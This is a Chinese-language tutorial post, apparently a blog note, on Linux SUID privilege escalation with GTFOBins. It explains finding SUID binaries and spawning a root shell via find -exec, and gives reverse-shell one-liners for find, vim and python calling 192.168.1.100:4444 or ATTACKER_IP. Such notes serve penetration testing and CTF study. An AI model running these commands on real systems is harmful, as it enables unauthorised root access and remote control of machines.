Linux SUID提权
工具网站:GTFOBins
GTFOBins 是一个专注于 Unix/Linux 系统提权(Privilege Escalation)和权限绕过(Bypass) 的权威开源项目,它收集了大量常见系统程序(如 find、vim、nmap 等)的利用方法,帮助安全研究人员和 CTF 选手快速识别和利用配置不当的程序获取更高权限。
一、查找有SUID权限的文件
1.find / -perm -4000 2>/dev/null
 2.find / perm -u=s -type f 2>/dev/null
find /
 从根目录 / 开始递归搜索所有文件和目录。
-perm -4000
 匹配文件权限模式中的 SUID 位(Set User ID)。
4000
 是八进制数值,对应二进制 100 000 000 000,表示 SUID 权限被设置。
-
 符号表示“至少包含这些权限”(如 -perm -4000 表示 SUID 必须被设置,其他权限忽略)。
2>/dev/null
 将错误输出(如“Permission denied”)重定向到“黑洞”设备 /dev/null,隐藏无权限访问的报错,使结果更清晰。
二、SUID是什么,有什么作用
1.当用户执行一个 SUID 文件时,该程序会以文件所有者的权限运行(如 root)
 2.查找到具有SUID权限的文件后,就可以在GTFO上找相应提权方法 (太长了记不住)
常见可滥用SUID程序
find, vim, nmap, bash, more/less, cp, mv
三、如何利用SUID提权
需要借助网站来找payload,不同的命令程序,SUID提权方式不同
1. find
find . -exec /bin/sh ; -quit
通过 find 程序的 -exec 参数启动一个特权 Shell(如 /bin/sh)
find .
 从当前目录开始搜索文件(. 表示当前目录)。
-exec /bin/sh \;
 -exec 是 find 的参数,用于对搜索到的每个文件执行指定命令(这里是 /bin/sh)。
\; 表示命令结束符(转义分号)。
-quit
 让 find 在执行完第一个匹配项后立即退出(避免多次执行命令)。
2.执行命令无回显 连接不稳定 则需进行反弹shell
- 攻击机监听端口:nc -lvnp 4444(ip 192.168.1.100:4444)
- 利用 SUID 的 find 反弹 Shell,靶机:
- find . -exec bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' \; -quit
- vim -c ':!/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
- python -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
 
                   
                   
                   
                   
       
           
                 
                 
                 
                 
                 
                
               
                 
                 
                 
                 
                
               
                 
                 扫一扫
扫一扫
                     
              
             
                   2348
					2348
					
 被折叠的  条评论
		 为什么被折叠?
被折叠的  条评论
		 为什么被折叠?
		 
		  到【灌水乐园】发言
到【灌水乐园】发言                                
		 
		 
    
   
    
   
             
            


 
            